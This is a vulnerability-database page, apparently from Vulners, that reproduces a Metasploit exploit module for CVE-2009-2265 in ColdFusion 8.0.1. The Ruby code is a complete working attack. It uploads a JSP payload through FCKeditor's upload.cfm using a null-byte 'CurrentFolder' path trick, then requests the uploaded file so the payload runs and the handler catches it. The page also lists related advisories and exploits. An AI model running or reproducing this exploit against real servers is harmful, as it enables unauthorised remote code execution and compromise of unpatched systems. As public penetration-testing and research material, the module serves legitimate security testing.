Lucene search
+L

ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit)

🗓️ 24 Nov 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1104 Views

ColdFusion 8.0.1 Arbitrary File Upload and Execute vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Adobe ColdFusion 8 - Remote Command Execution Exploit
25 Jun 202100:00
–zdt
githubexploit
GithubExploit
Exploit for Path Traversal in Fckeditor
27 Sep 202521:46
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fckeditor
12 Jan 202612:27
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fckeditor
11 Nov 202615:17
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fckeditor
15 Sep 202615:56
–githubexploit
bdu_fstec
BDU FSTEC
Ckeditor Path Traversal
6 Mar 202300:00
–bdu_fstec
circl
Circl
CVE-2009-2265
24 Nov 201000:00
–circl
nessus
Tenable Nessus
Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
14 Jul 200900:00
–nessus
nessus
Tenable Nessus
Debian DSA-1836-1 : fckeditor - missing input sanitising
24 Feb 201000:00
–nessus
nessus
Tenable Nessus
FCKeditor 'CurrentFolder' Arbitrary File Upload
15 Jul 200900:00
–nessus
Rows per page
##
# $Id: coldfusion_fckeditor.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute',
			'Description'    => %q{
					This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload
				and Execute vulnerability.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'Platform'       => 'win',
			'Privileged'     => true,
			'References'     =>
				[
					[ 'CVE', '2009-2265' ],
					[ 'OSVDB', '55684'],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 3 2009'
		))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]),
			], self.class )
	end

	def exploit

		page  = rand_text_alpha_upper(rand(10) + 1) + ".jsp"

		dbl = Rex::MIME::Message.new
		dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"")
		file = dbl.to_s
		file.strip!

		print_status("Sending our POST request...")

		res = send_request_cgi(
			{
				'uri'		=> "#{datastore['FCKEDITOR_DIR']}",
				'query'		=> "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00",
				'version'	=> '1.1',
				'method'	=> 'POST',
				'ctype'		=> 'multipart/form-data; boundary=' + dbl.bound,
				'data'		=> file,
			}, 5)

		if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ )
			print_status("Upload succeeded! Executing payload...")

			send_request_raw(
				{
					# default path in Adobe ColdFusion 8.0.1.
					'uri'		=> '/userfiles/file/' + page,
					'method'	=> 'GET',
				}, 5)

			handler
		else
			print_error("Upload Failed...")
			return
		end

	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2011 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 27.5
EPSS0.83865
1104